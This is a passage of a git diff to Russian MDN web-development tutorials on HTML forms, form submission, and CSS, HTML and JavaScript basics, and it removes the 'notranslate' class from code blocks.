title="required">*</abbr>.</p> +<pre class="brush: html"><p>Required fields are followed by <abbr title="required">*</abbr>.</p> <!-- Тогда это: --> <div> @@ -186,19 +186,19 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <ol> <li>Для начала сделайте локальную копию <a href="https://github.com/mdn/learning-area/blob/master/html/introduction-to-html/getting-started/index.html">пустого шаблона</a> и <a href="https://github.com/mdn/learning-area/blob/master/html/forms/html-form-structure/payment-form.css">CSS для нашей платёжной формы</a> в новой директории на вашем компьютере.</li> <li>Сначала подключите CSS к HTML, добавив следующую строку кода внутрь HTML-элемента {{htmlelement("head")}}: - <pre class="brush: html notranslate"><link href="payment-form.css" rel="stylesheet"></pre> + <pre class="brush: html"><link href="payment-form.css" rel="stylesheet"></pre> </li> <li>Далее начните создавать свою форму с добавления внешнего элемента {{htmlelement("form")}}: - <pre class="brush: html notranslate"><form> + <pre class="brush: html"><form> </form></pre> </li> <li>Внутри тега <code><form></code>, добавьте заголовок и параграф, информирующий пользователей о том, как помечены поля, обязательные для заполнения: - <pre class="brush: html notranslate"><h1>Payment form</h1> + <pre class="brush: html"><h1>Payment form</h1> <p>Required fields are followed by <strong><abbr title="required">*</abbr></strong>.</p></pre> </li> <li>Далее нам надо добавить более крупный кусок кода под нашей предыдущей записью. Здесь вы можете увидеть, что мы оборачиваем поля с контактной информацией в отдельный элемент {{htmlelement("section")}}. Более того, у нас есть набор из двух радио-кнопок, каждую из которых мы помещаем в отдельный элемент списка ({{htmlelement("li")}}). Наконец, у нас есть два текстовых поля {{htmlelement("input")}} и связанные с ними элементы {{htmlelement("label")}}, которые находятся внутри элементов {{htmlelement("p")}}, а также поле для ввода пароля. Добавьте этот код в вашу форму: - <pre class="brush: html notranslate"><section> + <pre class="brush: html"><section> <h2>Contact information</h2> <fieldset> <legend>Title</legend> @@ -243,7 +243,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form <li>Сейчас мы перейдём к второму разделу <code><section></code> нашей формы — платёжной информации. В этом разделе у нас есть три отдельных виджета формы со связанными с ними лейблами, находящимися внутри тега <code><p></code>. Первый — это выпадающее меню ({{htmlelement("select")}}) для выбора типа кредитной карты. Второй — это элемент <code><input></code> с типом <code>number</code> для ввода номера карты. Последний виджет — это элемент <code><input></code> с типом <font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">date</span></font> для указания даты окончания действия карты (должен будет появиться виджет с выбором даты или обычное текстовое поле в браузерах, не поддерживающих данные тип). Более новые типы полей описаны в статье <a href="/en-US/docs/Learn/Forms/HTML5_input_types">The HTML5 input types</a>.<br> <br> Вставьте следующий код под предыдущим разделом: - <pre class="brush: html notranslate"><section> + <pre class="brush: html"><section> <h2>Payment information</h2> <p> <label for="card"> @@ -273,7 +273,7 @@ original_slug: Learn/HTML/Forms/How_to_structure_an_HTML_form </section></pre> </li> <li>Последняя секция, которую мы добавим выглядит намного проще и содержит в себе только элемент {{htmlelement("button")}} с типом <code>submit</code>, для отправки данных. Добавьте этот код в конец вашей формы: - <pre class="brush: html notranslate"><p> <button type="submit">Validate the payment</button> </p></pre> + <pre class="brush: html"><p> <button type="submit">Validate the payment</button> </p></pre> </li> </ol> diff --git a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html index d152e456b0..3a7f169575 100644 --- a/files/ru/learn/forms/sending_and_retrieving_form_data/index.html +++ b/files/ru/learn/forms/sending_and_retrieving_form_data/index.html @@ -45,19 +45,19 @@ original_slug: Learn/HTML/Forms/Отправка_и_Получение_данн <p>В этом примере данные отправляются на абсолютный URL — <code>http://foo.com</code>:</p> -<pre class="brush: html notranslate"><form action="http://foo.com"></pre> +<pre class="brush: html"><form action="http://foo.com"></pre> <p>Здесь мы используем относительный URL - данные отправляются на другой URL на сервере:</p> -<pre class="brush: html notranslate"><form action="/somewhere_else"></pre> +<pre class="brush: html"><form action="/somewhere_else"></pre> <p>Если атрибуты не указаны, как показано ниже, данные из формы {{HTMLElement("form")}} отправляются на ту же страницу, на которой размещается данная форма:</p> -<pre class="brush: html notranslate"><form></pre> +<pre class="brush: html"><form></pre> <p>Многие старые страницы используют следующий синтаксис, чтобы указать, что данные должны быть отправлены на ту же страницу, которая содержит форму; это было необходимо, потому что до появления HTML5 атрибут {{htmlattrxref("action", "form")}} был обязательным. Это больше не нужно.</p> -<pre class="brush: html notranslate"><form action="#"></pre> +<pre class="brush: html"><form action="#"></pre> <div class="note"> <p><strong>Примечание:</strong> Можно указать URL, который использует протокол HTTPS (безопасный HTTP). Когда вы делаете это, данные шифруются вместе с остальной частью запроса, даже если сама форма размещается на небезопасной странице, доступ к которой осуществляется через HTTP. С другой стороны, если форма размещается на защищённой странице, но вы указываете небезопасный URL-адрес HTTP с атрибутом {{htmlattrxref("action","form")}}, все браузеры выдают пользователю предупреждение о безопасности при каждой попытке отправки данных, поскольку данные не шифруются.</p> @@ -75,7 +75,7 @@ original_slug: Learn/HTML/Forms/Отправка_и_Получение_данн <p>Рассмотрим следующую форму:</p> -<pre class="brush: html notranslate"><form action="http://foo.com" method="get"> +<pre class="brush: html"><form action="http://foo.com" method="get"> <div> <label for="say">What greeting do you want to say?</label> <input name="say" id="say" value="Hi"> @@ -100,7 +100,7 @@ original_slug: Learn/HTML/Forms/Отправка_и_Получение_данн <p>HTTP-запрос имеет следующий вид:</p> -<pre class="notranslate">GET /?say=Hi&to=Mom HTTP/2.0 +<pre>GET /?say=Hi&to=Mom HTTP/2.0 Host: foo.com</pre> <div class="note"> @@ -113,7 +113,7 @@ Host: foo.com</pre> <p>Давайте рассмотрим пример — это та же самая форма, которую мы рассматривали в разделе <code>GET</code> выше, но с атрибутом {{htmlattrxref("method","form")}}, установленным в <code>post</code>.</p> -<pre class="brush: html notranslate"><form action="http://foo.com" method="post"> +<pre class="brush: html"><form action="http://foo.com" method="post"> <div> <label for="say">What greeting do you want to say?</label> <input name="say" id="say" value="Hi"> @@ -129,7 +129,7 @@ Host: foo.com</pre> <p>Когда форма отправляется с использованием метода <code>POST</code>, данные добавляются не к URL-адресу, а включаются в тело запроса. HTTP-запрос имеет следующий вид:</p> -<pre class="notranslate">POST / HTTP/2.0 +<pre>POST / HTTP/2.0 Host: foo.com Content-Type: application/x-www-form-urlencoded Content-Length: 13 @@ -173,7 +173,7 @@ say=Hi&to=Mom</pre> <p><a href="https://php.net/">PHP</a> предлагает несколько глобальных объектов для доступа к данным. Например, вы используете <code>POST</code>-метод, в приведённом ниже примере данные просто получаются и показываются пользователю. Разумеется, как использовать данные — решать только вам. Вы можете отобразить эти данные, поместить в базу данных, отправить по почте или передать эти данные куда-либо ещё.</p> -<pre class="brush: php notranslate"><?php +<pre class="brush: php"><?php // The global $_POST variable allows you to access the data sent with the POST method by name // To access the data sent with the GET method, you can use $_GET $say = htmlspecialchars($_POST['say']); @@ -194,7 +194,7 @@ say=Hi&to=Mom</pre> <p>Этот пример показывает, как вы можете использовать Python для решения той же задачи — отобразить отправленные данные на странице. В этом примере используется <a href="http://flask.pocoo.org/">Flask framework</a> для визуализации шаблонов, поддерживающих форму отправки данных (смотри <a href="https://github.com/mdn/learning-area/blob/master/html/forms/sending-form-data/python-example.py">python-example.py</a>).</p> -<pre class="brush: python notranslate">from flask import Flask, render_template, request +<pre class="brush: python">from flask import Flask, render_template, request app = Flask(__name__) @@ -256,7 +256,7 @@ if __name__ == "__main__": <p>Пример:</p> -<pre class="brush: html notranslate"><form method="post" enctype="multipart/form-data"> +<pre class="brush: html"><form method="post" enctype="multipart/form-data"> <div> <label for="file">Choose a file</label> <input type="file" id="file" name="myFile"> diff --git a/files/ru/learn/forms/sending_forms_through_javascript/index.html b/files/ru/learn/forms/sending_forms_through_javascript/index.html index fb58b4f06f..ecea212980 100644 --- a/files/ru/learn/forms/sending_forms_through_javascript/index.html +++ b/files/ru/learn/forms/sending_forms_through_javascript/index.html @@ -52,11 +52,11 @@ original_slug: Learn/HTML/Forms/Sending_forms_through_JavaScript <p>Посмотрите на пример:</p> -<pre class="brush: html notranslate"><button>Click Me!</button></pre> +<pre class="brush: html"><button>Click Me!</button></pre> <p>И на JavaScript:</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); function sendData( data ) { console.log( 'Sending data' ); @@ -119,11 +119,11 @@ btn.addEventListener( 'click', function() { <h4 id="Using_a_standalone_FormData_object">Using a standalone FormData object</h4> -<pre class="brush: html notranslate"><button>Click Me!</button></pre> +<pre class="brush: html"><button>Click Me!</button></pre> <p>You should be familiar with that HTML sample. Now for the JavaScript:</p> -<pre class="brush: js notranslate">const btn = document.querySelector('button'); +<pre class="brush: js">const btn = document.querySelector('button'); function sendData( data ) { const XHR = new XMLHttpRequest(), @@ -165,7 +165,7 @@ btn.addEventListener( 'click', function() <p>The HTML is typical:</p> -<pre class="brush: html notranslate"><form id="myForm"> +<pre class="brush: html"><form id="myForm"> <label for="myName">Send me your name:</label> <input id="myName" name="name" value="John"> <input type="submit" value="Send Me!"> @@ -173,7 +173,7 @@ btn.addEventListener( 'click', function() <p>But JavaScript takes over the form:</p> -<pre class="brush: js notranslate">window.addEventListener( "load", function () { +<pre class="brush: js">window.addEventListener( "load", function () { function sendData() { const XHR = new XMLHttpRequest(); @@ -224,7 +224,7 @@ btn.addEventListener( 'click', function() <p>In the following example, we use the {{domxref("FileReader")}} API to access binary data and then build the multi-part form data request by hand:</p> -<pre class="brush: html notranslate"><form id="theForm"> +<pre class="brush: html"><form id="theForm"> <p> <label for="theText">text data:</label> <input id="theText" name="myText" value="Some text data" type="text"> @@ -238,7 +238,7 @@ btn.addEventListener( 'click', function() <p>As you see, the HTML is a standard <code><form></code>. There's nothing magical going on. The "magic" is in the JavaScript:</p> -<pre class="brush: js notranslate">// Because we want to access DOM nodes, +<pre class="brush: js">// Because we want to access DOM nodes, // we initialize our script at page load. window.addEventListener( 'load', function () { diff --git a/files/ru/learn/forms/your_first_form/index.html b/files/ru/learn/forms/your_first_form/index.html index 1aaa49894e..66462534e2 100644 --- a/files/ru/learn/forms/your_first_form/index.html +++ b/files/ru/learn/forms/your_first_form/index.html @@ -60,7 +60,7 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p>Создание форм начинается с элемента {{HTMLelement("form")}}:</p> -<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> +<pre class="brush:html;"><form action="/my-handling-form-page" method="post"> </form></pre> @@ -89,7 +89,7 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p>В терминах HTML нам нужен код наподобие представленного ниже, чтобы добавить виджеты форм:</p> -<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> +<pre class="brush:html;"><form action="/my-handling-form-page" method="post"> <ul> <li> <label for="name">Name:</label> @@ -121,11 +121,11 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p>Последнее, но не менее важное, обратите внимание на разницу синтаксиса у HTML-элементов <code><input></code> и <code><textarea></textarea></code>. Это одна из странностей HTML. Тег <code><input></code> — это пустой элемент, то есть он не нуждается в закрывающем теге. {{HTMLElement("textarea")}} — это непустой элемент, что говорит о том, что ему необходим закрывающий тег. Это важно при использовании одного из свойств форм: определения значения по умолчанию. Для определения начального значения для HTML-элемента {{HTMLElement("input")}} вам необходимо использовать атрибут <code>value</code> следующим образом:</p> -<pre class="brush:html; notranslate"><input type="text" value="по умолчанию в этом элементе находится этот текст" /></pre> +<pre class="brush:html;"><input type="text" value="по умолчанию в этом элементе находится этот текст" /></pre> <p>Если вы хотите определить значение по умолчанию для HTML-элемента {{HTMLElement("textarea")}}, вам просто нужно поместить это начальное значение между открывающим и закрывающим тегами:</p> -<pre class="brush:html; notranslate"><textarea> +<pre class="brush:html;"><textarea> по умолчанию в этом элементе находится этот текст </textarea></pre> @@ -133,7 +133,7 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p>Разметка нашей формы почти готова, но нам ещё необходимо добавить кнопку, которая позволит пользователю отправлять или "представлять" информацию после заполнения формы. Это делается с помощью HTML-элемента {{HTMLelement("button")}}. Необходимо добавить следующий код перед закрывающим тегом <code></form></code>:</p> -<pre class="brush:html; notranslate"><li class="button"> +<pre class="brush:html;"><li class="button"> <button type="submit">Send your message</button> </li></pre> @@ -163,13 +163,13 @@ original_slug: Learn/HTML/Forms/Ваша_первая_HTML_форма <p>Сначала необходимо добавить HTML-элемент {{htmlelement("style")}} на вашу страницу внутрь тега <code>head</code> в HTML. Это должно выглядеть следующим образом:</p> -<pre class="brush: html notranslate"><style> +<pre class="brush: html"><style> </style></pre> <p>Внутри тега стилей добавьте следующий код:</p> -<pre class="brush:css; notranslate">form { +<pre class="brush:css;">form { /* Расположим форму по центру страницы */ margin: 0 auto; width: 400px; @@ -251,7 +251,7 @@ button { <p>Чтобы переименовать данные, вам необходимо использовать атрибут <code>name</code> на каждом виджете формы, который будет собирать определённую часть информации. Давайте взглянем на код нашей формы ещё раз:</p> -<pre class="brush:html; notranslate"><form action="/my-handling-form-page" method="post"> +<pre class="brush:html;"><form action="/my-handling-form-page" method="post"> <div> <label for="name">Name:</label> <input type="text" id="name" name="user_name" /> diff --git a/files/ru/learn/getting_started_with_the_web/css_basics/index.html b/files/ru/learn/getting_started_with_the_web/css_basics/index.html index 4dc41f824a..6559ceb2eb 100644 --- a/files/ru/learn/getting_started_with_the_web/css_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/css_basics/index.html @@ -25,7 +25,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <p>Как и HTML, CSS на самом деле не является языком программирования. Это не язык разметки - это <em>язык таблицы стилей. </em>Это означает, что он позволяет применять стили выборочно к элементам в документах HTML. Например, чтобы выбрать <strong>все</strong> элементы абзаца на HTML странице и изменить текст внутри них с чёрного на красный, вы должны написать этот CSS:</p> -<pre class="notranslate"><code>p { +<pre><code>p { color: red; }</code></pre> @@ -36,7 +36,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <ol> <li>Откройте ваш файл <code>index.html</code> и вставьте следующую строку куда-нибудь в шапку, между <code><head></code> и <code></head></code> тегами: - <pre class="brush: html notranslate"><link href="styles/style.css" rel="stylesheet" type="text/css"></pre> + <pre class="brush: html"><link href="styles/style.css" rel="stylesheet" type="text/css"></pre> </li> <li>Сохраните <code>index.html</code> и загрузите его в вашем браузере. Вы должны увидеть что-то вроде этого:</li> </ol> @@ -72,7 +72,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <p>Таким образом, чтобы изменить несколько значений свойств сразу, вам просто нужно написать их, разделяя точкой с запятой, например так:</p> -<pre class="brush: css notranslate">p { +<pre class="brush: css">p { color: red; width: 500px; border: 1px solid black; @@ -82,7 +82,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <p>Вы также можете выбрать несколько элементов разного типа и применить единый набор правил для всех из них. Добавьте несколько селекторов, разделённых запятыми. Например:</p> -<pre class="brush: css notranslate">p,li,h1 { +<pre class="brush: css">p,li,h1 { color: red; }</pre> @@ -141,11 +141,11 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics <ol> <li>Прежде всего, вернитесь и найдите <a href="/ru/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">вывод из Google Fonts</a>, который вы уже где-то сохранили. Добавьте элемент {{htmlelement("link")}} где-нибудь внутри шапки вашего <code>index.html</code> (снова, в любом месте между тегами <code><head></code> и <code></head></code>). Это будет выглядеть примерно так: - <pre class="brush: html notranslate"><link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'></pre> + <pre class="brush: html"><link href='http://fonts.googleapis.com/css?family=Open+Sans' rel='stylesheet' type='text/css'></pre> Этот код связывает вашу страницу с таблицой стилями, которая загружает семейство шрифтов Open Sans вместе с вашей страницей и позволяет вам применять их к вашим HTML-элементам используя свою собственную таблицу стилей.</li> <li>Затем, удалите существующее правило в вашем <code>style.css</code> файле. Это был хороший тест, но красный текст, на самом деле, не очень хорошо выглядит.</li> <li>Добавьте следующие строки в нужное место, заменив строку <code>placeholder</code> актуальной <code>font-family</code> строкой, которую вы получили из Google Fonts. (<code>font-family</code> просто означает, какой шрифт(ы) вы хотите использовать для вашего текста). Это правило устанавливает глобальный базовый шрифт и размер шрифта для всей страницы (поскольку <code><html></code> является родительским элементом для всей страницы, и все элементы внутри него наследуют такой же <code>font-size</code> и <code>font-family</code>): - <pre class="brush: css notranslate">html { + <pre class="brush: css">html { font-size: 10px; /* px значит 'пиксели': базовый шрифт будет 10 пикселей в высоту */ font-family: placeholder: здесь должно быть имя шрифта из Google fonts }</pre> @@ -155,7 +155,7 @@ translation_of: Learn/Getting_started_with_the_web/CSS_basics </div> </li> <li>Теперь мы установим размер шрифта для элементов, содержащих текст внутри HTML тела ({{htmlelement("h1")}}, {{htmlelement("li")}}, и {{htmlelement("p")}}). Мы также отцентрируем текст нашего заголовка и установим некоторую высоту строки и расстояние между буквами в теле документа, чтобы сделать его немного более удобным для чтения: - <pre class="brush: css notranslate">h1 { + <pre class="brush: css">h1 { font-size: 60px; text-align: center; } @@ -202,7 +202,7 @@ p, li { <h3 id="Изменение_цвета_страницы">Изменение цвета страницы</h3> -<pre class="brush: css notranslate">html { +<pre class="brush: css">html { background-color: #00539F; }</pre> @@ -210,7 +210,7 @@ p, li { <h3 id="Разбираемся_с_телом">Разбираемся с телом</h3> -<pre class="brush: css notranslate">body { +<pre class="brush: css">body { width: 600px; margin: 0 auto; background-color: #FF9500; @@ -230,7 +230,7 @@ p, li { <h3 id="Позиционирование_и_стилизация_нашего_заголовка_главной_страницы">Позиционирование и стилизация нашего заголовка главной страницы</h3> -<pre class="brush: css notranslate">h1 { +<pre class="brush: css">h1 { margin: 0; padding: 20px 0; color: #00539F; @@ -254,7 +254,7 @@ p, li { <h3 id="Центрирование_изображения">Центрирование изображения</h3> -<pre class="brush: css notranslate">img { +<pre class="brush: css">img { display: block; margin: 0 auto; }</pre> diff --git a/files/ru/learn/getting_started_with_the_web/html_basics/index.html b/files/ru/learn/getting_started_with_the_web/html_basics/index.html index 45738e908a..9c49e40d0a 100644 --- a/files/ru/learn/getting_started_with_the_web/html_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/html_basics/index.html @@ -20,11 +20,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>HTML не является языком программирования; это <em>язык разметки</em>, и используется, чтобы сообщать вашему браузеру, как отображать веб-страницы, которые вы посещаете. Он может быть сложным или простым, в зависимости от того, как хочет веб-дизайнер. HTML состоит из ряда <strong>{{Glossary("element", "элементов")}}</strong>, которые вы используете, чтобы вкладывать или оборачивать различные части контента, чтобы заставить контент отображаться или действовать определённым образом. Ограждающие {{Glossary("tag", "теги")}} могут сделать слово или изображение ссылкой на что-то ещё, могут сделать слова курсивом, сделать шрифт больше или меньше и так далее. Например, возьмём следующую строку контента:</p> -<pre class="notranslate">Моя кошка очень раздражена</pre> +<pre>Моя кошка очень раздражена</pre> <p>Если бы мы хотели, чтобы строка стояла сама по себе, мы могли бы указать, что это абзац, заключая его в теги абзаца:</p> -<pre class="brush: html notranslate"><p>Моя кошка очень раздражена</p></pre> +<pre class="brush: html"><p>Моя кошка очень раздражена</p></pre> <h3 id="Анатомия_HTML_элемента">Анатомия HTML элемента</h3> @@ -59,11 +59,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Вы также можете располагать элементы внутри других элементов — это называется <strong>вложением</strong>. Если мы хотим заявить, что наша кошка <strong>очень</strong> раздражена, мы можем заключить слово "очень" в элемент {{htmlelement("strong")}} , который указывает, что слово должно быть сильно акцентированно:</p> -<pre class="brush: html notranslate"><p>Моя кошка <strong>очень</strong> раздражена.</p></pre> +<pre class="brush: html"><p>Моя кошка <strong>очень</strong> раздражена.</p></pre> <p>Вы, однако, должны убедиться, что ваши элементы правильно вложены: в примере выше мы открыли первым элемент {{htmlelement("p")}}, затем элемент {{htmlelement("strong")}}, потом мы должны закрыть сначала элемент {{htmlelement("strong")}}, затем {{htmlelement("p")}}. Приведённое ниже неверно:</p> -<pre class="example-bad brush: html notranslate"><p>Моя кошка <strong>очень раздражена.</p></strong></pre> +<pre class="example-bad brush: html"><p>Моя кошка <strong>очень раздражена.</p></strong></pre> <p>Элементы должны открываться и закрываться правильно, поэтому они явно располагаются внутри или снаружи друг друга. Если они перекрываются, как в примере выше, ваш веб-браузер будет пытаться сделать наилучшее предположение на основе того, что вы пытались сказать, что может привести к неожиданным результатам. Так что не стоит этого делать!</p> @@ -71,7 +71,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Некоторые элементы не имеют контента, и называются <strong>пустыми элементами</strong>. Возьмём элемент {{htmlelement("img")}}, который уже имеется в нашем HTML:</p> -<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="Моё тестовое изображение"></pre> +<pre class="brush: html"><img src="images/firefox-icon.png" alt="Моё тестовое изображение"></pre> <p>Он содержит два атрибута, но не имеет закрывающего тега <code></img></code>, и никакого внутреннего контента. Это потому, что элемент изображения не оборачивает контент для влияния на него. Его целью является вставка изображения в HTML страницу в нужном месте.</p> @@ -79,7 +79,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Мы завершили изучение основ отдельных HTML элементов, но они не очень полезны сами по себе. Теперь мы посмотрим, как отдельные элементы объединяются в целую HTML страницу. Давайте вернёмся к коду, который мы записывали в наш <code>index.html</code> (с которым мы впервые встретились в статье <a href="/ru/Learn/Getting_started_with_the_web/Dealing_with_files">Работа с файлами</a>):</p> -<pre class="brush: html notranslate"><!DOCTYPE html> +<pre class="brush: html"><!DOCTYPE html> <html> <head> <meta charset="utf-8"> @@ -105,7 +105,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Давайте снова обратим наше внимание на элемент {{htmlelement("img", "изображения")}}:</p> -<pre class="brush: html notranslate"><img src="images/firefox-icon.png" alt="Mоё тестовое изображение"></pre> +<pre class="brush: html"><img src="images/firefox-icon.png" alt="Mоё тестовое изображение"></pre> <p>Как было сказано раньше, код встраивает изображение на нашу страницу в нужном месте. Это делается с помощью атрибута <code>src</code> (source, источник), который содержит путь к нашему файлу изображения.</p> @@ -134,7 +134,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Элементы заголовка позволяют вам указывать определённые части вашего контента в качестве заголовков или подзаголовков. Точно так же, как книга имеет название, названия глав и подзаголовков, HTML документ может содержать то же самое. HTML включает шесть уровней заголовков {{htmlelement("h1")}}–{{htmlelement("h6")}}, хотя обычно вы будете использовать не более 3-4 :</p> -<pre class="brush: html notranslate"><h1>Мой главный заголовок</h1> +<pre class="brush: html"><h1>Мой главный заголовок</h1> <h2>Мой заголовок верхнего уровня</h2> <h3>Мой подзаголовок</h3> <h4>Мой под-подзаголовок</h4></pre> @@ -145,7 +145,7 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Как было сказано раньше, элемент {{htmlelement("p")}} предназначен для абзацев текста; вы будете использовать их регулярно при разметке текстового контента:</p> -<pre class="brush: html notranslate"><p>Это одиночный абзац</p></pre> +<pre class="brush: html"><p>Это одиночный абзац</p></pre> <p>Добавьте свой образец текста (вы создавали его в статье <a href="/ru/Learn/Getting_started_with_the_web/What_should_your_web_site_be_like"><em>Каким должен быть ваш веб-сайт?</em></a>) в один или несколько абзацев, расположенных прямо под элементом {{htmlelement("img")}}.</p> @@ -162,11 +162,11 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <p>Например, если мы хотим включить часть следующего фрагмента абзаца в список:</p> -<pre class="brush: html notranslate"><p>Mozilla, мы являемся мировым сообществом технологов, мыслителей и строителей, работающих вместе ... </p></pre> +<pre class="brush: html"><p>Mozilla, мы являемся мировым сообществом технологов, мыслителей и строителей, работающих вместе ... </p></pre> <p>Мы могли бы изменить разметку на эту:</p> -<pre class="brush: html notranslate"><p>Mozilla, мы являемся мировым сообществом</p> +<pre class="brush: html"><p>Mozilla, мы являемся мировым сообществом</p> <ul> <li>технологов</li> @@ -185,13 +185,13 @@ translation_of: Learn/Getting_started_with_the_web/HTML_basics <ol> <li>Выберите некоторый текст. Мы выбрали текст "Манифест Mozilla".</li> <li>Оберните текст в элемент {{htmlelement("a")}}, например так: - <pre class="brush: html notranslate"><a>Манифест Mozilla</a></pre> + <pre class="brush: html"><a>Манифест Mozilla</a></pre> </li> <li>Задайте элементу {{htmlelement("a")}} атрибут<strong> </strong><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.5);">href</span></font>, например так: - <pre class="brush: html notranslate"><a href="">Манифест Mozilla</a></pre> + <pre class="brush: html"><a href="">Манифест Mozilla</a></pre> </li> <li>Заполните значение этого атрибута веб-адресом, на который вы хотите указать ссылку: - <pre class="brush: html notranslate"><a href="https://www.mozilla.org/ru/about/manifesto/details/">Манифест Mozilla</a></pre> + <pre class="brush: html"><a href="https://www.mozilla.org/ru/about/manifesto/details/">Манифест Mozilla</a></pre> </li> </ol> diff --git a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html index 6f16d8f1fd..6c7d76a7a7 100644 --- a/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html +++ b/files/ru/learn/getting_started_with_the_web/javascript_basics/index.html @@ -49,11 +49,11 @@ translation_of: Learn/Getting_started_with_the_web/JavaScript_basics <ol> <li>Для начала перейдите на ваш тестовый сайт и создайте папку с именем 'scripts' (без кавычек). Затем, в новой папке скриптов, которую вы только что создали, создайте новый файл с именем <code>main.js</code>. Сохраните его в вашей папке <code>scripts</code>.</li> <li>Далее перейдите в ваш <code>index.html</code> файл и введите следующий элемент на новой строке прямо перед закрывающим тегом <code></body></code>: - <pre class="brush: html notranslate"><script src="scripts/main.js"></script></pre> + <pre class="brush: html"><script src="scripts/main.js"></script></pre> </li> <li> В основном этот код выполняет ту же работу, что и элемент {{htmlelement("link")}} для CSS — добавляет JavaScript на страницу, позволяя ему взаимодействовать с HTML (и CSS, и чем-нибудь ещё на странице).</li> <li>Теперь добавьте следующий код в файл <code>main.js</code>: - <pre class="brush: js notranslate">var myHeading = document.querySelector('h1'); + <pre class="brush: js">var myHeading = document.querySelector('h1'); myHeading.textContent = 'Hello world!';</pre> </li> <li>Теперь убедитесь, что HTML и JavaScript файлы сохранены, и загрузите <code>index.html</code> в браузере. Вы должны увидеть что-то вроде этого: <img alt="" src="hello-world.png" style="display: block; margin: 0px auto;"></li> @@ -81,7 +81,7 @@ myHeading.textContent = 'Hello world!';</pre> <p>{{Glossary("Variable", "Переменные")}} — это контейнеры, внутри которых вы можете хранить значения. Вы начинаете с того, что объявляете переменную с помощью ключевого слова <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/var">var</a></code> <span class="tlid-translation translation" lang="ru"><span title="">(не рекомендуется, продолжайте читать, чтобы получить объяснения)</span></span> или <code><a href="/ru/docs/Web/JavaScript/Reference/Statements/let">let</a></code>, за которым следует любое имя, которым вы захотите её назвать:</p> -<pre class="brush: js notranslate">let myVariable;</pre> +<pre class="brush: js">let myVariable;</pre> <div class="note"> <p><strong>Примечание</strong>: Точка с запятой в конце строки указывает, где заканчивается оператор; это абсолютно необходимо, когда вам нужно разделить оператора на одной строке. Однако некоторые люди считают, что хорошая практика - указывать их в конце каждого оператора. Существуют и другие правила, когда вы должны и не должны их использовать - смотрите более подробно в статье <a href="http://news.codecademy.com/your-guide-to-semicolons-in-javascript/">ваше руководство по точкам с запятой в JavaScript</a>.</p> @@ -101,19 +101,19 @@ myHeading.textContent = 'Hello world!';</pre> <p>После объявления переменной вы можете присвоить ей значение:</p> -<pre class="brush: js notranslate">myVariable = 'Bob';</pre> +<pre class="brush: js">myVariable = 'Bob';</pre> <p>Вы можете сделать обе эти операции на одной и той же строке, если вы захотите:</p> -<pre class="brush: js notranslate">var myVariable = 'Bob';</pre> +<pre class="brush: js">var myVariable = 'Bob';</pre> <p>Вы можете получить значение, просто вызвав переменную по имени:</p> -<pre class="brush: js notranslate">myVariable;</pre> +<pre class="brush: js">myVariable;</pre> <p>После установки значения переменной вы можете изменить его позже:</p> -<pre class="notranslate">var myVariable = 'Bob'; +<pre>var myVariable = 'Bob'; myVariable = 'Steve';</pre> <p>Обратите внимание, что переменные имеют разные <a href="/ru/docs/Web/JavaScript/Data_structures">типы данных</a>:</p> @@ -164,13 +164,13 @@ myVariable = 'Steve';</pre> <p>Комментарии - это, по сути, короткие фрагменты текста, которые могут быть добавлены в код, и которые игнорируются браузером. Вы можете поместить комментарии в JavaScript-код, так же как вы делали это в CSS:</p> -<pre class="brush: js notranslate">/* +<pre class="brush: js">/* Всё, что находится тут - комментарий. */</pre> <p>Если ваш комментарий не содержит переноса строк, то зачастую легче поставить две косые черты, как тут:</p> -<pre class="brush: js notranslate" style="font-size: 14px;">// Это комментарий +<pre class="brush: js" style="font-size: 14px;">// Это комментарий </pre> <h3 id="Операторы">Операторы</h3> @@ -244,7 +244,7 @@ myVariable = 'Steve';</pre> <p>Условия — это кодовые структуры, которые позволяют вам проверять, истинно или ложно выражение, а затем выполнить другой код в зависимости от результата. Самая распространённая форма условия называется, <code>if ... else</code>. Например:</p> -<pre class="brush: js notranslate">var iceCream = 'chocolate'; +<pre class="brush: js">var iceCream = 'chocolate'; if (iceCream === 'chocolate') { alert('Yay, I love chocolate ice cream!'); } else { @@ -259,10 +259,10 @@ if (iceCream === 'chocolate') { <ol> <li> - <pre class="brush: js notranslate">var myVariable = document.querySelector('h1');</pre> + <pre class="brush: js">var myVariable = document.querySelector('h1');</pre> </li> <li> - <pre class="brush: js 